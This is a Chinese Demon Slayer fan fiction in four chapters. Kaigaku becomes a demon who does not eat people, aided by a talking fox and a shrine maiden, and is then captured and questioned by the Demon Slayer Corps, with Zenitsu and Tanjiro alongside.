《[综主鬼灭]惊雷》
1. 第一章
人死去,变成鬼。
对于狯岳来说,这句话再现实不过了。
作为鬼杀队的队员,为了乞活向鬼下跪,作为人的他,在这一刻已经死去。
他的身体还没变成鬼,但心已经变成了鬼。
猩红的鬼血从黑死牟的指尖滴落下来,汇聚在他的掌心,像一面镜子,印照着他惶恐扭曲的脸。
他心跳如擂鼓,恍惚从镜中看见自己一片黑暗的未来。
……不,即使一片黑暗,那也是未来,起码他的生命不会就此结束。
现在去死还是晚点去死,他果断选择后者。
……不,他不会死,他会变成鬼,鬼拥有无尽的寿命,他才不会死!
——但是。
当他饮下腥臭更胜泥水的鬼血,浑身骨头被打碎重组,皮肤、肌肉、神经产生撕裂又再生、又继续撕裂,如此循环往复的剧痛之时,他听到一个声音在耳边响起:
“哟,快死了啊。”
狯岳:……
狯岳:“滚!我才……不会死!”
他条件反射般生气,连疼痛都暂时忘记。
“可你的确快死了,”那个声音继续,“做鬼也是有门槛的,又不是每个人都能顺利变成鬼。”
狯岳:……见鬼。
赐下鬼血的黑死牟没兴趣等他转变,早已离开。到底是什么样的混蛋在对他冷嘲热讽?另一只鬼吗?
总不会是人吧!
“我!雷之呼吸法的剑士!”狯岳咬牙反问,“连成鬼的资质都没有?!”
“你这不是有自知之明的吗?”
——滚!
又是一阵难以忍受的剧痛,狯岳痛得连在地上打滚的力气都没有了,整个人可怜巴巴地躺在地上,更顾不上回骂了,只在心里念叨各种脏话。
他以为自己会晕过去,但很遗憾,莫名其妙的声音持续传入脑海:
“不要想脏话,不礼貌。”
狯岳悚然。
——什么东西,能听到他的心声?!
“看你表情就知道你在想什么。”朦胧的月光下,一只金灿灿的狐狸出现在他的视线当中。“你接下来一定想问——”
“狐狸……为什么会说话?”
“……”
“……”
“这倒不在我的预料之中。”狐狸端坐在面前,把毛茸茸的大尾巴垫在爪下。“我还以为你会问,我能不能救你呢。”
狯岳张了张口,从善如流:“你能不能救我?”
“不可以。”
狯岳:……
狯岳:…………
狯岳:“滚!”
“你好没礼貌啊。”
都快死了还管什么礼仪。“那你这混蛋是来干嘛的?!”
“来等你死,”狐狸趴下来,“好回收神器。”
“神器……我能有什么神器?”狯岳愣了愣,勉强动了动脑子,“你说得该不会……是这个勾玉吧?”
他伸手摸向脖颈,握住了穿在蓝色系绳上的金色勾玉。
从他记事起,这枚勾玉就戴在他的脖子上。他相信这是父母爱他的证明,总幻想如果他们还活着,他会是多么幸福的一个人。
“对,”狐狸回答,“就是这个。”
这居然是神器,他的父母怎么会有神器?!
“不可能!”狯岳脱口而出,“如果这是神器——”
他的父母为什么会死,他又为什么快要去死?!
“你的父亲是高野山的和尚,你的母亲是出云大社的巫女,你是万众期待之下降生的神子——”狐狸拖长腔调,“虽然我很想这么说,但很遗憾,你和两边一点关系都没有。”
狯岳……狯岳他脸都是木的,只觉得这只狐狸在耍他玩。
哪有这样和快死的人说话的啊!
“你只是一对普通夫妻生下的普通孩子,只是运气比较好,捡到了这件神器而已。”
运气好?
他的运气一点都不好!
如果他的运气好,怎么会沦落到现在这样的地步!
而狐狸还在继续:
“……因为神器保佑,你才会在临终前遇到我。看在神器的份上,在你死后,我会接引你上高天原,让你下辈子投个好胎……喂,你干什么!”
只见狯岳用力将勾玉扯下,咬在嘴里;因为绳子比较结实,差点没把自己给勒死。
“下辈子?”因为含着勾玉的缘故,他咬字不清,“要报答我的话,应该在这辈子才对!”
说完,他一口把勾玉吞进腹中。
……又差点没把自己给噎死,掐着喉咙咳嗽半天,才缓了下来。
见状,狐狸目瞪口呆。
“神特么报答,是保佑!不是,算了,你怎么就,哎呀妈呀!”它上前两步,“死亡又不是什么大不了的事儿,你至于吗……”
这是什么混账话!
死亡怎么不是大事!
狯岳大怒:“我才不会死!”
话音未落,腹中升温,不断升温,从温暖变成——
灼烧!
他发出不似人声的、凄厉的哀嚎,终于眼前一黑,顺利晕了过去。
等他从浑浑噩噩中再次睁眼,他以为自己会看见鬼,看见死人,看见地狱……
但他看见了人。
一个身披千早、白衣红袴的女人,脸上贴着奇怪的符咒,完完全全挡住了她的脸。
只有声音听上去还算悦耳:“你醒了。”
狯岳打了个激灵,彻底清醒:“你是谁?我在哪?”
“我是苏芳。”她回答。“这里是罗阇神社。”
“我是梨花,”狐狸忽然窜出来,挡住了他的视线,“是我救了你,不然变成鬼的你就要被太阳晒成灰烬了。你应该谢谢我!”
狯岳沉默片刻:“难道你不是为了把神器找回来?”
“受了他人恩惠就应该道谢,你管我动机是什么。”狐狸用尾巴敲地板,“这种时候,好孩子应该老老实实说‘谢谢’!”
然而,狯岳说不出口。
道理是这么个道理,可他就是不想。
他本该更谨慎一点,先摸清楚状况再行动,但身体的变化影响了他的心理——
他都变成鬼了,还有什么好顾虑的?!
“梨花。”女人开口。“小孩子……都,比较好面子。”
狯岳:……
狯岳:小、小孩子?!
他才不是小孩子,他十七、不,十八岁了——大概。
他是孤儿,已经不记得自己的生日是什么时候,应该差不了太多。
总之,他早就是个能独当一面的男子汉了,怎么能被人说成小孩子!
狐狸却不这么认为,顺着女人的话头:“我不喜欢不懂礼貌的小孩子。”
“我不小——不是,我,”狯岳咬牙切齿,从牙缝里把话挤出来,“谢、谢、你、救、了、我,但是——”
“哇,你脸红了。”
“……”
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“……”
“……”
“告辞!”狯岳脸上红一阵白一阵,猛地站起身,“再也不见!”
女人抬起手:“请等一下……”
狯岳故意无视了她的话。
他已经变成了鬼,已经不是人了。即便他没有像其他鬼那样,丧失理智、露出野兽般的丑态……可他能闻到女人身上草药熏香之外,人肉的香气。
这让他口水都要流下来了。
好在他似乎与别的鬼不同,能克制住这股不算太强烈的食欲。
而他之所以能如此不同,想必是因为,那只狐狸口中的“神器”,在他腹中发挥着匪夷所思的作用。
如果这女人要把“神器”拿走——
哈,他才不会还给她!
下一刻,“哐当”一声。
狯岳抱着撞得晕乎乎的脑袋蹲在了看起来没有任何阻碍物的门口。
“……有结界,”女人慢吞吞的声音这才被他听了进去,“会撞到。”
狯岳:^=_=^。
狯岳:“你怎么不早说!”
狐狸替女人反驳:“明明是你走得太快了!”
“放我出去!”狯岳伸手去摸腰间的日轮刀,但抓了个空,“我是鬼杀队的……不,”他顿了顿,“我是鬼,小心我吃了你!”
“坏孩子!苏芳,我开始讨厌他了!”狐狸大怒,“要不,我把他的肚子剖开,把勾玉取回来,再把他扔出去吧?”
狯岳冷笑:“我怎么可能乖乖让你们剖啊!”
“反正你是鬼,你又不会死。”狐狸理所当然地说,“这和你乖不乖有什么关系?”
狯岳刚要骂脏话,就在这时,女人拽了拽狐狸的尾巴:
“梨花,不要欺负小孩子。”
小你个头!
这狐狸,这女人,都有病吧?!
“我的东西,不可能交给你们。”狯岳感觉到自己尖锐的指甲,并尝试把指甲化作武器。“我说到做到,如果不放我走,我就——”
“不过,”女人又说,“我的确……也更喜欢礼貌一点的小孩子。”
话音落下,她轻飘飘打了个响指。
而狯岳的腹内随之烧起了一把火!
和变鬼时的剧痛不遑多让,令他无法抵抗地跪在了地上。
“现在,你知道自己应该说什么了吗?”
——他不知道!
狯岳很想这样大吼,但他不敢。
痛苦教会他恐惧,恐惧教会他冷静。他那因骤然变鬼而变得混乱的大脑终于恢复了理智,开始意识到,眼前的女人,并非手无缚鸡之力之人。
“对……对不起!”狯岳把头下来,额头触及地板,“请原谅我……”
“哇,这是欺软怕硬,还是能屈能伸?”狐狸咋舌,“好没骨气的小孩子。”
没骨气怎么了,欺软怕硬怎么了?
狯岳在心底咬牙。
只要他能活下去,就一定会有转圜的余地!
女人的声音幽幽传来:“要好好说话。”
狯岳:“……啊?”
“要说‘请’,”女人教他,“直率一点,说出自己的想法。想到达到目的,不需要动不动威胁别人。”
狯岳:“……”
狯岳试探性地问:“请放我走?”
女人秒答:“可以。”
狯岳:……
狯岳:…………
不是,这女人果然有病吧?!
2. 第二章
虽然答应狯岳,要放他走,但苏芳并不是毫无条件。
“接下来,梨花和你一起行动。”她要求。“等你死后,梨花再把勾玉拿回来。”
狐狸闻言,乖乖走到狯岳身边,跳进他怀里。
狯岳没料到会有这样的发展,手忙脚乱地接住了狐狸,下意识摸了摸狐狸光滑的皮毛。
“可勾玉是我的。”他顿了顿,“我是说,你们把我的东西拿走,也不礼貌吧?”
苏芳伸出一根手指,摇了摇:
“梨花救你一命,你用勾玉来换……这很公平,也很礼貌。”
狯岳:老实说,他觉得他的命还是比勾玉更贵重一点的。
这么算起来,还是他占了便宜,所以:
“行吧。”
既然苏芳不打算囚禁他,他也就不着急离开,好奇地观察四周。
这是一个很小、很简陋的神社,却不显粗糙,相反,因为布置上的小巧思,看起来非常精致。
比如神龛中精美的雕像,比如供桌上优雅的插花,比如香炉中淡淡的草药熏香。
并不是紫藤花的味道。
“还有,如果你死在我前头怎么办?”狯岳收回视线,看向苏芳,“你是人吧?”
苏芳的表情被符咒挡住看不见,狐狸就不一样了,霎时间瞪圆了眼睛:“苏芳才不会死!”
“怎么,她不是人?”
“明明是你,你一定会死在苏芳前面。”
“哈啊?!”
狯岳忍不住要和狐狸吵架,但苏芳事不关己地拿出一个碧色的茶碗,摆在身前,然后一只手从腰间拔出一把短刀,在另一只手上比划。
“……喂,”他眼角余光瞥见这一幕,“你莫非想——”
话音未落,苏芳割破了手指,血液从她的指尖滴落,掉进茶碗。
狯岳说不出话来,目瞪口呆地看着诱人的血液在茶碗里积起来。
然后苏芳收起匕首、包扎好指尖,把茶碗往他的方向一推:
“请用。”
狐狸又瞪了他一眼,用尾巴甩他的脸:“你这时候应该说什么来着?”
狯岳:“……”
狯岳:“谢、谢谢招待?”
“还有‘我开动了’!”狐狸冷哼。“喝了苏芳的血,以后就不要吃人了哦!”
一股奇异的感觉涌上狯岳的心头,让他胸口发闷,胃里搅成一团,也许是饥饿的缘故。
他自己也分辨不出那是什么情绪,只硬起嘴巴:“我是鬼!是鬼就会吃人!”
这话刚出口他就后悔了,担心苏芳又会教训他,本能地绷紧身体,等待接下来的惩罚。
但苏芳只是淡淡道:“有选择的话,人都是只想做好人的,不是吗?”
“……我是鬼。”
“鬼也是人。”
鬼只是曾经是人!
狯岳很想这样说,但他说不出口。
他不想做好人吗?
他当然想!
但是,他想做的好人,是在满足自己之后再施舍他人的、虚伪的、不被认可的——
“快喝呀!”狐狸的话冒出来,“即使是苏芳的血,放久了也是会变质坏掉的!”
“——啊?哦,”狯岳的思路被打断,显得傻乎乎的,“嗯。”
他膝行上前,拿过茶碗,嗅到一股奇异的香味。
是稀血……吗?
“我……开动了。”
当他将这碗酒水般的血液一饮而尽,胃中饥饿带来的烧灼感便消失不见。他有种莫名其妙的预感,自己似乎起码几个月都不需要再进食了。
“去吧。”狯岳忽然感到一阵晕眩,苏芳的声音听起来忽远忽近,缥缥缈缈。“去迎接你……变化的未来。”
狯岳又一次失去了意识。
等他再次醒来,就发现自己躺回了遇见黑死牟的那条小巷。他站起身,惊觉日轮刀也回到了他身边。
脖颈间轻微的束缚感依然在,他伸手摸向脖颈,摸到了绳子,还有……
勾玉?
嗯?
怎么还有一个?
刚才发生的一切,难道都是梦吗?
他不确定地轻声呼唤:“梨花?”
又等了一会儿,头上一重,那只金色的狐狸稳稳挂在了他的脑袋上。
“快走快走。”狐狸提醒,“天快要亮了。快找个晒不到太阳的地方呆着。”
……不是梦啊。
狯岳伸手把狐狸从脑袋上摘下来,本来想把它扔出去,但是。
刚才的一切,不是梦。
所以他把狐狸抱在怀里,离开小镇,向阴暗的山林走去:
“怎么又要天亮,我之前昏迷了多久?不,”他又换了个问题,“我变鬼花了多久?”
“差不多两天。”狐狸算了算。“时间蛮长的。”
比黑死牟的时间短。另外,“我脖子上的勾玉是?”
“苏芳给的,特意选了和你眼睛一样的颜色。”
……那女人,特意选的。
和眼睛……一样的颜色?
狯岳眨了眨眼睛,手指绞着系绳,忽然很想照照镜子。
林间猎人小屋没有镜子,只有一些供路人使用的、简单的补给。
他从水缸中看见自己的倒影,深深皱起了眉头。
眼睛……巩膜变黑了。
耳朵……上端变尖了。
虎牙长长了有点痒,体温降低了有点冷。还有,脸颊上这些奇怪的纹路是怎么回事?为什么看起来像黑死牟的六眼一样?
“像狸花猫的斑纹一样!”狐狸却这么说,兴致勃勃地抖了抖耳朵。“狯岳,你是一只小狸花!”
“什么?!”狯岳不能理解,“我不是猫!”
“就是猫!”
“不是!”
“就是!”
“起码得是老虎吧!”
“虎纹猫!”
“哈啊?!”
——他真傻,真的。为什么非要和一只奇奇怪怪的狐狸吵架?
想到这里,狯岳一下子泄了气。
像黑死牟也好、像狸花猫也好、或者虎纹猫也罢,接下来,他该怎么办?
他下意识摩挲颈边新得的勾玉,这勾玉质地温润,
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光滑水润,比他吞进肚子里的那块粗糙玩意儿更像神器。
毕竟作为孤儿的他,是保不住贵重物品的。那块勾玉一度被人评价为“杂质太多、简直就是个黄色石头”,哈,居然还能是个神器?
“狯岳,接下来去哪儿?”狐狸问,“那个上弦一会来找你的吧,最好别在附近比较好哦。”
“……梨花。”
“嗯?”
“你的目的是回收神器吧,难道不会盼着我早死吗?”
“什么话!我是个好狐狸,我希望你能平平安安寿终正寝。”狐狸气呼呼的。“你的想法好阴暗呀!”
可这,明明是理所当然的事情。
狐狸本为神器而来,为什么要本末倒置,就因为一时的善心?
那可真是……太好了。
他可以活下去了。
在身处绝境之时,遇到这样的转机,看来,他的运气,总算没有太过糟糕。
——撤回前言。
狯岳看着出现在眼前的人影,停下脚步,心底一沉。
他怎么忘了呢?
不止上弦一会回来找,鬼杀队也会。
“一只鬼,”身着样式一半一□□织的鬼杀队队士冷着脸看着他,“为什么会穿着鬼杀队的队服?”
狯岳:因为他就是鬼杀队的一员谢谢!
他甚至知道,眼前这位羽织颇具特色的陌生人是谁。
除了大名鼎鼎的水柱、富冈义勇,整个鬼杀队没其他人会穿得这么拼接。
“喂,你跑什么?”狐狸在他怀里大喊,“那是你的同伴,不是敌人!”
“开什么玩笑!”狯岳把狐狸往衣服里塞,“鬼和人不可能是同伴!”
如果不跑,他一定会被富冈义勇杀掉!
“但是,你又没吃人!”狐狸反对,“没吃过人的鬼,当然可以和人是同伴!”
“鬼杀队队律可不是这么说的!”狯岳咬牙。“好不容易才活下来,我可不想……死得一点意义都没有!”
狐狸想了想,被他说服了:“你说得对。”
那就跑吧!
用尽力气逃离,去到一个陌生的地方,重新开始。鬼也好、鬼杀队也好,统统不要管了!
只要能跑掉,就能继续活下去,就一定会有未来——
然而:
“站住!”前方忽然窜出来一个莫名其妙的家伙,一头撞上他的脑袋,“既然没吃过人,就不要心虚逃跑!”
这不是心虚不心虚的问题好吗!
他只是不想死!
还有,这家伙的脑袋是怎么回事?
居然能比鬼还硬!
狯岳晕得想骂人,但这么一耽搁,富冈义勇已经追了上来,刀刃架在了他的脖颈上,划出一道豁口。
几秒钟之后,豁口消失了,证明他的确不是人,是鬼。
狐狸从他的胸口钻出来,爬上他的肩膀,看了看拦停狯岳的少年,又看向富冈义勇:
“你可千万别手抖哦。”
富冈义勇:“……”
他把刀稍微往外移了点儿:“我的手一向很稳。”
3. 第三章
对于拦停他的这名少年,狯岳在脑袋不晕之后,也认了出来。
额角的伤疤,花扎的耳饰,自来熟的性格……
是善逸在信里反复提过的灶门炭治郎没错了。
也许是因为狐狸说他没吃人的缘故,这家伙对他的态度很友善,甚至还会问他饿不饿。
“你问一只鬼饿不饿?!”被五花大绑的狯岳觉得不可思议,“要拿自己喂我吗?!”
不等灶门炭治郎回话,狐狸率先用尾巴甩他的脸:“好好说话。”
“我——”
“人家是在关心你,不要像个刺猬一样炸刺。”狐狸又说了一遍。“给我好好说话。”
狯岳一怒之下怒了一下:“不饿!”
灶门炭治郎居然能冲着他笑出来:“那你好厉害,居然克服了吃人的欲望。”
……啊,这。
狯岳觉得出乎意料,眨了眨眼睛。
这种事情,是值得称赞的吗?
但下一刻,一根竹筒被强硬地塞进了他的嘴里。竹筒两侧系着长条布料,在他脑后打了个结实的结。
狯岳:“唔?!”
他瞪着富冈义勇:这是搞什么?!
富冈义勇:“预防。”
狯岳又怒了一下,但很快平静下来:
这才是鬼杀队应有的态度,即便他声称自己没有吃人、现在也不饿,也应该被这样提防才对。
“啊啊,义勇先生,没必要吧?他能控制自己。”灶门炭治郎抬起双手,“而且,这样一来,该怎么审问他呢?”
狯岳:那当然是等审问的时候再解开啊。
富冈义勇却呆了一下:“是哦。”
然后又把竹筒从他嘴上拿下来了。
拿下来了!
这位传说中听不懂人话也说不出人话、性格强硬的水柱,居然这么好说话的吗?!
灶门炭治郎又问:“对了,你的名字是?”
“……狯岳。”
“我是灶门炭治郎,那边是我的师兄,水柱富冈义勇。”
“……我知道。”
灶门炭治郎以为他说的是富冈义勇,富冈义勇则冲着他平和地点了点头。
这两个家伙,居然都不想杀他吗?
他还以为,鬼杀队队士都会对鬼喊打喊杀呢……尤其是杀鬼无数的、强大的柱。
反正如果是他,还是人的他,一定不会放过出现在面前的鬼。
所以,是因为,这个奇怪的灶门炭治郎的关系吗?
而那小子接下来把目光转向狐狸:“那,狐狸先生你呢?”
狐狸竖起耳朵,挺起胸膛:“梨花!”
“不好意思,您是位狐狸小姐?”
“狐狸先生就不能叫梨花吗?”
“对不起,是我先入为主了。”
“原谅你。”
是个直率的好孩子啊,灶门炭治郎。
狯岳低头看狐狸,发现它放松下来,从他的肩膀上跳下,惬意地抖了抖耳朵,把头伸到了灶门炭治郎的手掌下。
……狐狸说过,它喜欢懂礼貌的小孩子。
所以,狐狸不喜欢他,喜欢灶门炭治郎,是理所当然的事情。
不过,他……其实本也没有那么不懂礼貌。
作为街头长大的孤儿,他一向很会看人眼色,尤其在面对惹不起的家伙的时候。
只不过,突然遭遇上弦一、不得不选择变成鬼,又接连遇到奇怪的事情,所以他才没能控制住情绪……
灶门炭治郎皱了皱鼻子,像是闻到了什么奇怪的气味,抬头看了狯岳一眼。
还不等他开口说话,一道熟悉的声音忽然响起:
“师、师兄?!”
听到这个声音,狯岳条件反射地锁紧了眉头——虽然他的眉头本来就没怎么舒展过就是了。
但灶门炭治郎露出了高兴地表情:“善逸,你怎么在这里,你通过柱训练了吗?”
“不……我是偷偷跑出来的。”我妻善逸的神色恍惚,眼泪在眼眶里打转,“师兄,我以为你死了!”
“哈啊?!”本在反省自己的狯岳立刻把审慎抛之脑后,额角青筋直跳,“没能如你所愿还真是对不起了——你搞什么!”
只见我妻善逸猛地扑了过来,把他重重撞倒在地,开始号啕大哭:
“我突然收到信,信上说,你在的巡逻队全军覆没,连鎹鸦都被干掉了,尸体都没找全……”
啊,好吵。
狯岳觉得自己脑瓜子嗡嗡作响。
“你这么强,怎么可能会死,我不相信,所以我跑出来找你,你还活着真的太好了……”
为什么他没法把这个吵死人的家伙推开?
因为他被绑起来了。
为什么他会被绑起来?
因为他变成了鬼。
“好你个头!”狯岳此时万分庆幸,富冈义勇没有真拿竹筒堵他的嘴。“你还要抱到什么时候!还没发现吗,我已经变成鬼了,你个白痴!”
“师兄你又骂我——等下,你变成鬼了?为什么会变成鬼?我知道了,你一定是遇到了上弦,被强迫变成鬼的吧!一定是这样……”
“不是。”狯岳打断他的话,冷冷道。“我是自愿变成鬼的。”
“……啊?”
我妻善逸终于安静下来,用不可置信的眼神看着狯岳:“师兄,你一定是在骗我,对不对?”
“我什么时候骗过你?”狯岳不耐烦,“都这样了,赶紧放开——”
“你肯定在骗我!”我妻善逸进一步拔高声调,“你一直那么努力,拼命锻炼自己,想要成为鸣柱,怎么可能自愿变成鬼!我不相信!我不相信!”
灶门炭治郎抓住我妻善逸,把他往后拖:“善逸,你冷静点!”
狯岳还在火上浇油:“我管你信不信,你个逃避训练的废物——”
“狯岳先生你也闭嘴!”灶门炭治郎看着一脸挑衅的
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狯岳,挑起眉毛:“义勇先生,请让狯岳先生不要再说话了!”
话音落下,富冈义勇想了想,把收起来的竹筒,重新亮了出来。
于是,接下来的行程,就变成了我妻善逸单方面的吵吵嚷嚷,而狯岳只能发出一连串的“唔唔唔唔唔唔”,即便他什么都没能说出口,大家光看他的表情都知道,他一定骂得很难听。
什么礼貌?什么看人眼色?
统统不管了!
“没想到善逸的师兄居然是这样的人,”灶门炭治郎和富冈义勇大声蛐蛐,“嘴巴好坏啊。”
狯岳:他听得到!
“非常不好意思,我们家狯岳实在太失礼了。”狐狸选择呆在灶门炭治郎的怀里,替狯岳道歉。“请你们多担待。”
狯岳:谁要狐狸替他道歉!
“你们家狯岳?什么叫你们家狯岳?狯岳是我们家的!而且会说话的狐狸是怎么回事,鎹鸦会说话就算了,连狐狸也会说话,好可怕!”这是一边背着狯岳一边尖叫的我妻善逸。
狯岳:谁和你是一家啊喂!
他忍不住在我妻善逸的背后挣扎,然后就,一个后仰,后脑勺重重砸到了地上。
除了他之外的所有人:噗嗤。
……连麻雀都笑得滚落了树枝呢。
于是我妻善逸带他的姿势从背变成了扛,并再三拒绝了其他人提出的帮忙。
日常巡逻遇到上弦一,不变成鬼就要去死,本来应该是个悲剧事件。
但现在的氛围,怎么能这么喜剧呢?
狯岳头朝下挂在我妻善逸的背上,脑袋充血,腹部被我妻善逸的肩膀硌到反胃,想吐又只能呕出些粘液,整个人狼狈不堪。
他又羞又怒,一时间竟悲从中来。
为什么……自己会沦落到现在这个境地?
“对不起,师兄,”忽然,我妻善逸停下脚步,把他放下来:“这样很不舒服吧?”
——废话!
狯岳恶狠狠地瞪着我妻善逸,直到我妻善逸伸出手,按上他的眼角:
“这个,是想要藏起来的东西吧?”
随着我妻善逸的动作,狯岳意识到,那是他因为难受流出的生理性眼泪。
他?
哭了?
在这个废物面前?
一股难以置信的愤怒席卷了他的脑海,彻底冲晕了他的头脑,令他再一次奋力挣扎起来。
他试图挣开绳子,但绳子又细又紧,关节也被扭曲,导致他没法发力使力;想用头去撞我妻善逸的脑袋?不行,够不到!
“啊啊啊,对不起,我不是故意的,不是,大哥你别生气——”
大,哥?!
狯岳只觉得脑海里那根弦被崩断——
既然没法挣开绳子,那就改变自己!
在我妻善逸震惊的眼神中,狯岳的身体缩小,绳索和竹筒随之滑落,然后——
从绳堆里窜出来,一口咬住了他的脑袋!
4. 第四章
直到三人一鬼一狐到达蝶屋门口,狯岳仍然狠狠咬着我妻善逸,只不过用来磨牙的部位从脑袋换成了手臂。
“狯岳先生居然没有逃跑,而是一门心思咬善逸,”灶门炭治郎一拳锤向掌心,“他们师兄弟的感情……挺好的嘛。”
狐狸连连点头:“同意。”
“好你个头!炭治郎,梨花,你们也劝一劝大哥啊!”我妻善逸摸着脑门的牙印又开始嚎,“真的好痛!都出血了!”
那你倒是反抗啊,把他从胳膊上扯下来啊!
狐狸:“我觉得狯岳他这样挺可爱的。”
灶门炭治郎:“我觉得善逸你其实乐在其中?”
我妻善逸:“哪有!!!!!”
至于狯岳……狯岳只满心烦躁。
咬人怎么了,就是要咬,而且就是要咬善逸。谁让这个废物跑来找他,谁让这个废物叫他大哥,谁让这些人没有一刀砍了他——
“哦呀?这是怎么回事?”
蝶屋的主人,蝴蝶忍,幽幽出现在他们面前,额角迸出青筋。
“这里是蝶屋,不是藤袭山,为什么鬼的数量在不断增加?”她的声音听起来和往常大不相同,虽然语调平稳,但所有人都听出了其中勃发的怒意。“到底是怎么回事呢,富冈先生?”
很好,她把矛头对准了水柱。
趁着富冈义勇阿巴阿巴地解释,狯岳老老实实松开口,放过了我妻善逸,变回原本的样子,并努力整理衣冠,试图在蝴蝶忍面前像点样子。
没办法,蝴蝶忍虽然长得漂亮,但鬼杀队的人没几个不怕她……
“为什么,为什么大哥在忍小姐面前这么乖巧?”我妻善逸这个小兔崽子竟然还看不清形势,“是因为喜欢忍小姐吗?”
狯岳:^=_=^。
狯岳:“你要找死的话死远点,血别溅我身上。”
“大哥身上明明已经溅了很多我的血!而且而且,你果然喜欢忍小姐吧,心声变得这么平静!”
“你这废物,又偷听!只要不是你,我对谁都这么平静!”
围观的狐狸点了点头:“这倒是。狯岳,你对其他人其实没什么恶意,如果情绪稳定也能好好说话。为什么只对善逸这么粗暴?”
“因为他就是个废物、白痴!”
“大哥,你这么说也太过分了吧!”
“别叫我大哥!”
“我就叫!你都变成鬼了,我叫几句大哥怎么了?!”
“这是能相提并论的事情吗喂?!”
眼看他们吵架的声音都盖过了富冈义勇的说明,蝴蝶忍轻飘飘地投过来一瞥,杀气完全散发出来了呢。
于是,狯岳和我妻善逸同时噤声。
围观的灶门炭治郎喃喃道:“还很有默契。”
话音落下,两个人同时露出了一言难尽的表情。
一点也不想被人这么说!
可随着登场人数越来越多,两个人都不约而同地回归了本性。狯岳看上去冷静了很多,绷起嘴角;我妻善逸也变得紧张起来,盯着神崎葵拿来抽狯岳血的巨大针筒吓得牙齿打架。
“大哥会怎么样?”他不安地看着狯岳忍着失血带来的不适,主动走入全封闭的地牢,把门“砰”得一声带上,“他和祢豆子一样,都没吃过人,应该会没事吧?”
灶门炭治郎挠了挠头,附和道:“应该是?”
但富冈义勇说:“不一定。”
我妻善逸:“唉?!为什么?!”
“因为,他说,他是自愿变鬼的。”富冈义勇回答,“这是禁忌。”
“什么叫做自愿变鬼,故意找到鬼说‘请把我变成鬼’那种程度才算吧!”我妻善逸按着脑壳,“大哥最开始是在巡逻过程中失踪的吧,一定是遇到了特别强大的鬼所以才没有办法——”
但富冈义勇打断他的话:“那他就应该去死。”
“……唉?”
“如果是我,与其变成鬼,情愿去死。”
我妻善逸张了张口,无话可说。
他怎么忘了呢?
炎柱,炼狱杏寿郎不就是个最好的范例吗?
面对上弦三的招揽,他毫不犹豫地拒绝了,情愿去死。
水柱会说出这种话,说明他也是一样的人。
炭治郎也不会愿意对鬼妥协。尹之助也会战斗到死。换了他自己……
一想到爷爷会露出失望的表情,与其变成鬼,他也情愿去死。
……啊,对,是为了爷爷。
我妻善逸忽然福至心灵,明白过来一件事:
他和大哥不一样。
他是个废物、渣滓,如果不能回应爷爷的期待,就一点价值都没有了。
但大哥不一样,强大、帅气,还非常努力,爷爷对他很满意,大哥的生命比他的有价值得多。
所以。
大哥他其实,是不愿意仅仅为了不让爷爷失望去死的。
可即便他自己愿意去死,要他对大哥说“你应该去死”?
——啊,不行,这种话他无论如何都说不出口。
他还是希望大哥能活着……像祢豆子那样活着。
“……真是的,”狐狸叹了一口气,“果然是小孩子,动不动把死挂在嘴边。”
富冈义勇:“我21岁了。”
“那也还是小孩子。”狐狸摇了摇尾巴。“你一定和鬼有深仇大恨,所以才会轻易豁出性命。”
“那又如何?”
“这个世道,控制死很容易,控制生却很难。想死的话,怎样都能死掉。想活的话,除了自己努力,运气也很重要。”
“……你想说什么?”
“其实也没什么,”狐狸站起身,向狯岳所在的房间走去,“只是希望,你们能对我们家孩子更宽容一点。”
随着狐狸走进房门,灶门炭治郎和我妻善逸面面相觑。
“梨花……刚才的意思是不是,贪生怕死有理?”
“是、是珍惜生命才对吧!”
可是,人又要以什么为标准,用以区别贪生怕死和珍惜生命?
狯岳仰躺在漆黑的室内,双眼在暗处熠熠发光。
也许睡一觉会好一点,但他没有睡意,只能盯着空无一物的天花板,脑海中一片空白,意外地什么都没想。
狐狸开门带来了些微的光亮,把门带上又失去了那些光亮。
“狯岳,感觉怎样?”
“不怎么样。”狯岳侧过身,把狐狸抱进怀里。“就是有点……冷。”
一片黑暗中,时间过得很慢很慢。他只能凭借声音判断白天黑夜。宁静的夜晚让他心生恐惧,但喧闹的白天也不是他的归处。
即便感觉到冷,他也晒不了太阳了。
“梨花。”
“嗯?”
“我可能……”马上就要被判处死刑了。
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但他只多摸了几把狐狸光滑的皮毛,把脸埋进了它的肚腹。
“为什么,要自愿变成鬼?”
出乎所有人的意料,天音夫人亲自来到了蝶屋,直面化鬼的前鸣柱继子。
“……因为,只有先活下去,才有翻盘的可能。死亡就意味着败北,而我想赢。”
对于她的提问,狯岳这样回答。
“就像我现在这样,虽然变成了鬼,但不必吃人,一定可以更好地帮助鬼杀队……杀鬼。”他顿了顿,“试药也可以。”
天音夫人沉默片刻:“想活下去,并不是一件可耻的事情。”
狯岳:“……啊?”
“很惊讶吗,我会说出这样话?”
“……嗯。”
“但我还要继续——以他人为代价活下去,才是一件可耻的事情。”
“……”
“你在接受鬼血的时候,想必并不认为,自己会变成现在这样特殊的存在,对吧?”
狯岳张了张口,想要反驳,但什么话都说不出口。
如果光靠意志就能克服吃人的欲望,鬼杀队就不必制定“见鬼必杀”的队律了。
“而且,变成鬼的你,如果被无惨抓住,能经受得了拷问吗?”天音夫人继续。“因为变成了鬼,所以轻易死不了。你能忍受被剥皮,被解剖,把内脏直接拽出来;或者把你从下面到口腔,用木棍串成烤猪一样,在火上烧吗?”
都不必鬼王出动读心的技能,是个人都得崩溃。
让人,不,鬼,生不如死,是很容易就能做到的事情。
“如果你是普通人,想不到这样的后果,情有可原;但你是鬼杀队的队员,鸣柱的继子,当你做出这样的选择,就应当有这样的心理准备。”天音夫人顿了顿,“你还有什么话想说?”
狯岳无话可说。
只是吃人而已,他已经尝过了,血水和泥水的味道都一样糟糕,想必人肉吃起来也像树皮一样。
不是不能接受的事情。
毕竟在街上流浪的时候,他见过的——
人饿极了的时候,也会吃人。
所以,为了活下去,他也可以吃人。
他就是这样一个卑劣的人——只要踩着别人的脑袋能爬出泥潭,他一定会去踩,他就是这种人。
“现在这样,即便你没有造成严重后果,也没有人敢把后背交给你——你明白吗?”
狯岳当然明白。
不过,在变成鬼之前,也没什么人敢把后背交给他就是了,他和同期的关系并不好。
至于我妻善逸,哈,就算善逸敢于信任他,他还不敢信任那个废物呢!
那家伙,不给他拖后腿就算不错了。
但这种事情,没什么大不了的,他只要一个人……一直一个人,就没关系。
只是对他自己没关系。
对鬼杀队来说,还是有关系。
——啊啊,赌错了。
他懊恼地想。
——这样下去,绝对要被判死刑了啊。
